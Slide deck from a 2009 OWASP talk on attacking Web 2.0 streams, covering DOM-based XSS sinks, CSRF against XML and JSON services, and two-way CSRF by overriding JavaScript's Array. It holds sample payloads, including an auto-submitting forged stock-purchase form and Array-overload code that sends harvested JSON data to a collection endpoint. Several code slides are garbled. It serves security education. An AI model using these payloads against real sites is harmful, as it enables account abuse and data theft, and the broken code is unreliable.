Hacking Web 2.0 Streams – Cross Domain Injection and Exploits

Shreeraj Shah
Founder & Director, Blueinfy
shreeraj@blueinfy.com
91+987-902-7018

Blueinfy

OWASP Meeting (Sep-15-2009) in Brussels

Who Am I?

- **Founder & Director**
  - Blueinfy Solutions Pvt. Ltd. (Brief)
  - SecurityExposure.com
- **Past experience**
  - Net Square, Chase, IBM & Foundstone
- **Interest**
  - Web security research
- **Published research**
  - Articles / Papers - Securityfocus, O’erilly, DevX, InformIT etc.
  - Tools - wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc.
  - Advisories - .Net, Java servers etc.
- **Books (Author)**
  - Web 2.0 Security – Defending Ajax, RIA and SOA
  - Hacking Web Services
  - Web Hacking

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
Web/Enterprise 2.0 Application Audit Case

- Enterprise running on 2.0 wave - Portal
- Technologies & Components – Dojo, Ajax, XML Services, Blog, Widgets
- Scan with tools/products **failed - Why?**
- Security issues and hacks
  - SQL injection over XML
  - Ajax driven XSS
  - Several XSS with Blog component
  - Several information leaks through JSON fuzzing
  - CSRF on both XML and JS-Array

» **HACKED**
» **DEFENSE**

---

Web/Enterprise 2.0 Application Audit Case

- Impact
  - Possible to run sql queries remotely
  - Changing price and placing order
  - Customer information enumeration
  - Stealing customer identities
  - Manipulation in JSON/XML streams and much more
  - Great financial impact...
Attacks and Hacks

- 80% Sites are having security issues
- Web Application Layer vulnerabilities are growing at higher rate in security space
- Client side hacking and vulnerabilities are on the rise - 5% to 30% (IBM)
- Web browser vulnerabilities is growing at high rate
- End point exploitation from OS to browser and its plugins

Web 2.0 Patterns

- Q1 2009 showed a steep rise in attacks against Web 2.0 sites. This is the most prevalent attack with 21% of the incidents.
- Attack vectors exploiting Web 2.0 features such as user-contributed content were commonly employed in Q1: Authentication abuse was the 2nd most active attack vector, accounting for 18% of the attacks, and Cross Site Request Forgery (CSRF) rose to number 6 with 8% of the reported attacks.
- Leakage of sensitive information remains the most common outcome of web hacks (29%), while disinformation came in 2nd with 26%, mostly due to the hacking of celebrity online identities.

» http://www.secure-enterprise20.org/
### Incidents

**WHID 2007-72:** Small CSRF exploited to hijack a domain
- **Reported:** 29 December 2007
- **Occurred:** 21 December 2007
- **Classification:**
  - Attack Method: Cross Site Request Forgery
  - Outcome: Denial of Service

**WHID 2007-65:** The Orkut XSS Worm
- **Reported:** 29 December 2007
- **Occurred:** 27 December 2007
- **Classification:**
  - Attack Method: Cross Site Scripting (XSS)
  - Source: Virus

**WHID 2006-41:** Making money with MySpace bulletin system
- **Reported:** 24 July 2006
- **Occurred:** 24 June 2006
- **Classification:**
  - Attack Method: Cross Site Scripting (XSS)
  - Outcome: Denial of Service

**WHID 2006-37:** MySpace Hack Spreading
- **Reported:** 24 July 2006
- **Occurred:** 26 July 2006
- **Classification:**
  - Attack Method: Cross Site Scripting (XSS)
  - Outcome: Worm

**WHID 2006-39:** Another Google XSS
- **Reported:** 24 July 2006
- **Occurred:** 04 July 2006
- **Classification:**
  - Attack Method: Cross Site Scripting (XSS)
  - Outcome: Disclosure Only

**WHID 2006-11:** Google's Blogger HTTPS vulnerability
- **Reported:** 25 February 2006
- **Occurred:** 05 January 2006
- **Classification:**
  - Attack Method: HTTP Response Splitting
  - Outcome: Disclosure Only

**Twitter hacks**

**WHID 2009-4:** Twitter Personal Info CSRF
- **Updated:** 13 January 2009
- **Attack Information:**
  - WHID ID: 2009-4
  - Date Occurred: 7 Jan 2009
  - Attack Method: Cross Site Request

**WHID 2009-2:** Twitter accounts of the famous hacked
- **Updated:** 11 January 2009
- **Attack Information:**
  - WHID ID: 2009-2
  - Date Occurred: 5 Jan 2009
  - Attack Method: Brute Force

**WHID 2009-37:** Twitter XSS/CSRF worm series
- **Updated:** 19 April 2009
- **Attack Information:**
  - WHID ID: 2009-37
  - Date Occurred: 04 Mar 2009
  - Attack Method: Brute Force

---

Source: The Web Hacking Incidents Database [http://webappsec.org/projects/whid/]

---
Facebook

WHO 2009-11: Lil Kim Facebook-Hacked
WHO Blog Xiom Blop Updated: 27 January 2 ...
Google

WHID 2007-11: Google's Advanced Search Operations Abused by Spammers
...used alternative in the best-known page on the internet. Google primary search page. By using the Google famous "I feel lucky" feature, the spammer can automatically lead the ...

Web Hacking Incident - Our Sho - 4 Feb 2009 - 11:14am - 0 comments - 0 attachments

WHID 2008-3: Google Trends Falls Victim to a Shill
...and not for the 1st time, succeeded in manipulating Google Trends, a Google service listing popular search terms. In this case the New York Time ...

Web Hacking Incident - Our Sho - 13 Jan 2009 - 12:58am - 0 comments - 0 attachments

WHID 2009-2: Puerto Rican sites redirected in a DDoS attack
...defacing the Puerto Rican site of companies such as Google and Microsoft. The amazing story unfolds in the comments to CNN ...

Web Hacking Incident - Our Sho - 10 Jan 2009 - 12:58am - 0 comments - 0 attachments

WHID 2007-6: The blog of a Cambridge University security team hacked
...The researchers found that they can use Google to retrieve the hashed password of the hacker. Google has become so big that it actually allows efficient encrypted passwords ...

Web Hacking Incident - Our Sho - 15 Mar 2009 - 10:05am - 0 comments - 0 attachments

WHID 2007-9: The Omn1 XSS Victim
...Security, Dec 19 2007] Om1's Warm Code (and why was Google so slow to respond?) [Technological, Dec 19 2007]

Web Hacking Incident - Our Sho - 11 Feb 2009 - 9:18am - 0 comments - 0 attachments

Gmail

WHID 2006-11: Teenager claims to find code flaw in Gmail
...of claims to have discovered an XSS flaw in Google's Gmail. Comments have been removed, and Google did not comment on the flaw. Information: Teenager claims to find code flaw in Gmail [Network World, Feb 3 2008] Vulnerability in Gmail Ph0nyx's ...

Web Hacking Incident - Our Sho - 22 Dec 2006 - 9:18pm - 0 comments - 0 attachments

WHID 2005-1: Gmail Bug Exposes Email Messages of Other Users
...information in Gmail. Additional information: Gmail Bug Exposes Emails to Hackers [Bite News, Jun 12 2005] Gmail Messages Are Vulnerable To Interception [SlashDot, Jan 12 2005]

Web Hacking Incident - Our Sho - 22 Dec 2006 - 9:18pm - 0 comments - 0 attachments

WHID 2005-61: Gmail session management bug
...A flaw in Gmail's authentication and session management allows direct login to anybody's ...of the victim. Additional information: Gmail bug [backdoor.net, Oct 18 2005] Google Downplays Gmail Security ...

Web Hacking Incident - Our Sho - 22 Dec 2006 - 9:18pm - 0 comments - 0 attachments

WHID 2004-12: XSS in Gmail
...was found in Gmail. Additional information: Gmail accounts wide open to exploit” - report [The Register, Oct 29 2004] Mail4You Exclusive: Security hole found in Gmail [mama Blend, Oct 27 2004]

Web Hacking Incident - Our Sho - 22 Dec 2006 - 9:18pm - 0 comments - 0 attachments

WHID 2008-60: Hijack Cyrus Pictures Leaked Due to a Web Hack (Updated)
Xuan Blogging WHID Blog Updated: 19 April 2008 ...
**Yahoo!**

**OWH 2005-49:** XSS in Yahoo!'s Web mail enables phishing
...Disclosure Only XSS in Yahoo mail, Allows phishing Additional information: Yahoo fixes Web mail security flaw [News.com, Oct 31 2005] ...

Web-Hacking Incident - Other States - 22 Dec 2005 - 13:14am - 0 comments - 0 attachments

**OWH 2005-58:** Yahoo mail Cross Site Scripting
...the e-mail is read. Additional information: Yahoo mail Cross Site Scripting [Max, Dec 22 2005] ...

Web-Hacking Incident - Other States - 22 Dec 2005 - 13:14am - 0 comments - 0 attachments

**OWH 2008-32:** Yahoo Hotjobs XSS
...reported an ongoing exploit of XSS vulnerability in Yahoo Hotjobs site: The attackers have been using an obfuscated JavaScript to ...turn sent to a server in the US. The stolen cookie was a yahoo-wide cookie and therefore by stealing it the hackers could gain control ...

Web-Hacking Incident - Other States - 23 Dec 2008 - 11:30am - 0 comments - 0 attachments

**OWH 2009-26:** Rainier's private e-mail hacked, posted to Net
...of Scientology, has apparently hacked into the private Yahoo e-mail account of Alaska Gov. Sarah Palin, the Republican candidate for ...

Web-Hacking Incident - Other States - 4 Feb 2009 - 12:10pm - 0 comments - 0 attachments

---

**Enterprise Attack Profile**

- XSS
- SQL Injection
- Brute force
- Command inj.
- LDAP/XPATH inj.
- Path traversal
- Ajax/RIA Hacks
- Web 2.0 worms
- Resource Predict.
- Directory indexing
- SSI vector

**Corporate Resources**
- Customer information
- Intellectual property
- Confidential documents
Enterprise 2.0 Architecture

Web Services End point

Internet

Application Infrastructure

Documents

News

Weather

Mails

Bank/Trade

RSS feeds

Web 2.0 Start

Enterprise 2.0 Components

Protocol Layer

SOAP | XML-RPC | REST

Client Layer

Ajax | Flash / RIA

HTML/CSS | JavaScript

Widget | DOM

Structure Layer

JSON | XML

RSS/ATOM | Text

JS-Objects | Custom

Server Layer

SOA/WOA | SaaS

Web Services | Ajax

Traditional | APIs
Let’s look at few apps

- Ajax calls - [Demo]
- JSON/Flash driven app - [Demo]
- DWR – Java remoting app - [Demo]

Web 2.0 Fingerprinting

- Identifying Web and Application servers.
- Forcing handlers to derive internal plugin or application servers like Tomcat or WebLogic.
- Looking for Axis or any other Web Services container.
- Gives overall idea about infrastructure.
Ajax/RIA call

```javascript
function getajax()
{
  var http;
  if(window.XMLHttpRequest)
    http = new XMLHttpRequest();
  else if (window.ActiveXObject)
    http = new ActiveXObject("Msxml2.XMLHTTP");
  http.open("GET", "/ajax.txt", true);
  http.onreadystatechange = function()
  {
    if (http.readyState == 4) {
      response = http.responseText;
      document.getElementById('ajax').innerHTML = response;
    }
  }
  http.send(null);
}
```

Ajax/RIA call

```javascript
function getproto()
{
  var url = "/ajax.txt";
  var target = "proto";
  var myajax = new Ajax.Updater(target, url, {method: 'get'});
}
```

```html
<div id="proto"></div>
</html>
```
Discovery

JSON

- GET http://localhost:8000/json

```
{
    "firstName": "John",
    "lastName": "Doe",
    "streetAddress": "123 Main Street",
    "city": "New York",
    "state": "NY",
    "postalCode": 10002,
    "phone1Number": "(212) 555-1234",
    "phone2Number": "(646) 456-7890"
}
```

XML

- GET http://localhost:8000/xml

```
<xml version="1.0" encoding="UTF-8">
  <profile>
    <firstName>John</firstName>
    <lastName>Doe</lastName>
    <number>123-456-7890</number>
  </profile>
</xml>
```

JS-Script

- GET http://localhost:8000/js

```
profile = {
    firstName: 'John',
    lastName: 'Doe',
    number: '123-456-7890',
    newProfile: function() { return this.firstName, this.lastName, this.number; }
}
```

JS-Array

- GET http://localhost:8000/js-array

```
new Array("John", "Doe", "New York", "NY", 10002, "(212) 555-1234", "(646) 456-7890")
```

JS-Object

- GET http://localhost:8000/js-object

```
profile = {
    firstName: 'John',
    lastName: 'Doe',
    number: '123-456-7890',
    newProfile: function() { return this.firstName, this.lastName, this.number; }
}
```

RI A fingerprints

```
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="frampton" width="100%" height="100%

codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.c" params="allowScriptAccess="sameDomain",
pluginspage="http://www.adobe.com/"
</object>
```

HTTP Service

```
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="frampton" width="100%" height="100%

codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.c" params="allowScriptAccess="sameDomain",
pluginspage="http://www.adobe.com/"
</object>
```

AMF discovery

```
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="frampton" width="100%" height="100%

codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.c" params="allowScriptAccess="sameDomain",
pluginspage="http://www.adobe.com/"
</object>
```
Web 2.0 Dimension to Crawling

- Ajax resources
- RIA and Silverlight components
- It needs to mapped as well
- Very critical step to do Web 2.0 crawling
- Need to do JavaScript traversing and dynamic execution
- Different approach is required

Crawling challenges

- Dynamic page creation through JavaScript using Ajax.
- DOM events are managing the application layer.
- DOM is having clear context.
- Protocol driven crawling is not possible without loading page in the browser.
**Ajax driven site**

There are various different set of calls for flex/flash apps

- AMF and other internals
- SOAP over AMF etc...
- Discovering through proxy
- Reverse engineering calls
- Silverlight calls
Fuzzing streams

- Web 2.0 stream fuzzing
- Manipulating JSON, SOAP or AMF traffic
- Looking out for response
- Vulnerability detection based on that

Demonstration

Web Services and SOAP streams

- Discovering WSDL or entry points for Web Services
- Fetching hidden calls and methods
- Building SOAP
- Fuzzing SOAP
- Vulnerability detection...
DOM based XSS

- Ajax based XSS is relatively new way of attacking the client
- Code written on browser end can be vulnerable to this attacks
- Various different structures can have their own confusion
- Information processing from un-trusted sources can lead to XSS

- Stream can be injected into the Ajax routine
- If function is vulnerable to XSS then it executes the script
- Script can be coming in various forms
- Web 2.0 applications are consuming various scripts and that makes it vulnerable to this set of attacks
Anatomy of an XSS attack

Web Client → Third party → Web Server → DB

attacker

Web Client

Web Server

proxy

Web app

Web app

Web app

DB

DB

Third party source

Web Client

Web Server

proxy

Web app

Web app

Web app

DB

DB
Anatomy of an XSS attack

DOM based XSS

```javascript
if (http.readyState == 4) {
    var response = http.responseText;
    var p = eval("(" + response + ")");
    document.open();
    document.write(p.firstName + "<br>");
    document.write(p.lastName + "<br>");
    document.write(p.phoneNumbers[0]);
    document.close();
}```
Anatomy of an XSS attack

Attacker to Web Client: Stream, eval(), XSS

Web Client to Web Server: XML

Web Server to Web App: eval(), XSS

Web Server to DB: Proxy

Web App to Web Server: Web app

DB to Web Server: DB

Attacker to Web Server: XSS

Anatomy of an XSS attack

Attacker to Web Client: Stream, eval(), XSS

Web Client to Web Server: JSON

Web Server to Web App: eval(), XSS

Web Server to DB: Proxy

Web App to Web Server: Web app

DB to Web Server: DB

Attacker to Web Server: XSS
Anatomy of an XSS attack

Web Client -> Stream -> eval() -> XSS

Web Server

Proxy

Web app

Web app

Web app

DB

DB

Attacker

JS-Array

JS-Object XSS

JSON XSS

Demo

Demo

OWASP
DOM based XSS

document.write(…)
document.writeln(…)
document.body.innerHTML=…
document.forms[0].action=…
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …
window.attachEvent(…)
document.location=…
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)

DOM based XSS

document.open(…)
window.open(…)
window.location.href=… (and assigning to location’s href, host and hostname)
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)

Scanning for XSS
Cross Site Request Forgery (CSRF)

- Generic CSRF is with GET / POST
- Forcefully sending request to the target application with cookie replay
- Leveraging tags like
  - IMG
  - SCRIPT
  - IFRAME
- Not abide by SOP or Cross Domain is possible

Request generation

**IMG SRC**
<img src="http://host/?command">

**SCRIPT SRC**
<script src="http://host/?command">

**IFRAME SRC**
<iframe src="http://host/?command">
Request generation

'Image' Object
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>

XHR - Cross domain difficult

Request generation

- It is possible to generate POST as well
- Form can be build dynamically and button click from JavaScript is possible
<script type="text/javascript"
language="JavaScript">  
document.foo.submit();
</script>
Cross Site Request Forgery (CSRF)

- What is different with Web 2.0
  - Is it possible to do CSRF to XML stream
  - How?
  - It will be POST hitting the XML processing resources like Web Services
  - JSON CSRF is also possible
  - Interesting check to make against application and Web 2.0 resources

One Way CSRF Scenario
One Way CSRF Scenario
One Way CSRF Scenario

One-Way CSRF

One-Way CSRF

Please Login

Order is placed:

Demo
One-Way CSRF

- `<html>`
- `<body>`
- `<form name="buy" enctype="text/plain" action="http://trade.example.com/xmlrpc/trade.rem" method="post">
  - `<input type="hidden" name="<?xml version='1.0'?>" methodName="stocks.buy" params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></methodCall>`
- `</form>`
- `<script>document.buy.submit();</script>`
- `</body>`
- `</html>`

Forcing XML

- Splitting XML stream in the form.
- Possible through XForms as well.
- Similar techniques is applicable to JSON as well.
Two-Way CSRF

- One-Way - Just making forceful request.
- Two-Way
  - Reading the data coming from the target
  - May be getting hold onto important information - profile, statements, numbers etc.
  - Is it possible with JSON/XML
Two-Way CSRF

Welcome to our auction portal:

```javascript
function ajaxr() {
  var obj = this;
  var i = 0;
  for (i = 0; i < obj.length; i++) {
    obj[i].innerHTML = encodeURIComponent(
      (filename).substring(0, 1),
      (filename).substring(1),
    );
  }
}
function poofix(){
  send(x.to0tring());
}
</script>
<script src="http://bank-example.org/profile Maps"></script>
Welcome to our auction portal:
</body>
</html>
```

---

Two-Way CSRF

- Application is serving various streams like - JSON, JS-Object, Array etc.

```
[*ACT789023452*, *Rob*, *Smith*, *rob@example.com*]
```
Two-Way CSRF

- Attacker page can make cross domain request using SCRIPT (firefox)
- Following code can overload the array stream.

```javascript
function Array()
    { var obj = this; var index = 0; for(j=0;j<4;j++){
        obj[index++] setter = spoof; }
    function spoof(x){
        send(x.toString()); }
```

Two-Way CSRF

```javascript
<html>
<head>
    <script>
        function send(data) {
            var http = new XMLHttpRequest;
            http.onreadystatechange = function() {
                if (http.readyState == 4 && http.status == 200) {
                    alert(http.responseText);
                }
            }
            http.open("GET", ".\collect.aspx?data="+data, true);
            http.send(data);
        }
        function Array() {
            var index = 0;
            for(j=0;j<4;j++){
                obj[index++] setter = spoof;
            }
            function spoof(x) {
                send(x.toString());
            } 
        
        </script>
    
    </head>
</html>
```
Two-Way CSRF

- It is possible to overload these objects.
- Reading and sending to cross domain possible.
- Opens up two way channel for an attacker.
- Web 2.0 streams are vulnerable to these attacks.

Web 2.0 Components

- There are various other components for Web 2.0 Applications
  - RSS feeds
  - Mashups
  - Widgets
  - Blogs
  - Flash based components
RSS feeds

- RSS feeds coming into application from various un-trusted sources.
- Feed readers are part of 2.0 Applications.
- Vulnerable to XSS.
- Malicious code can be executed on the browser.
- Several vulnerabilities reported.
Mashups

- API exposure for Mashup supplier application.
- Cross Domain access by callback may cause a security breach.
- Confidential information sharing with Mashup application handling needs to be checked - storing password and sending it across (SSL)
- Mashup application can be man in the middle so can’t trust or must be trusted one.

Widgets/ Gadgets

- DOM sharing model can cause many security issues.
- One widget can change information on another widget - possible.
- CSRF injection through widget code.
- Event hijacking is possible - Common DOM
- IFrame - for widget is a MUST
Securing Web 2.0

- Source Code Scanning
- WAF - SOAP/JSON
- Secure Coding Practices
- Audit standards - OWASP, PCI-DSS or CVE/CWE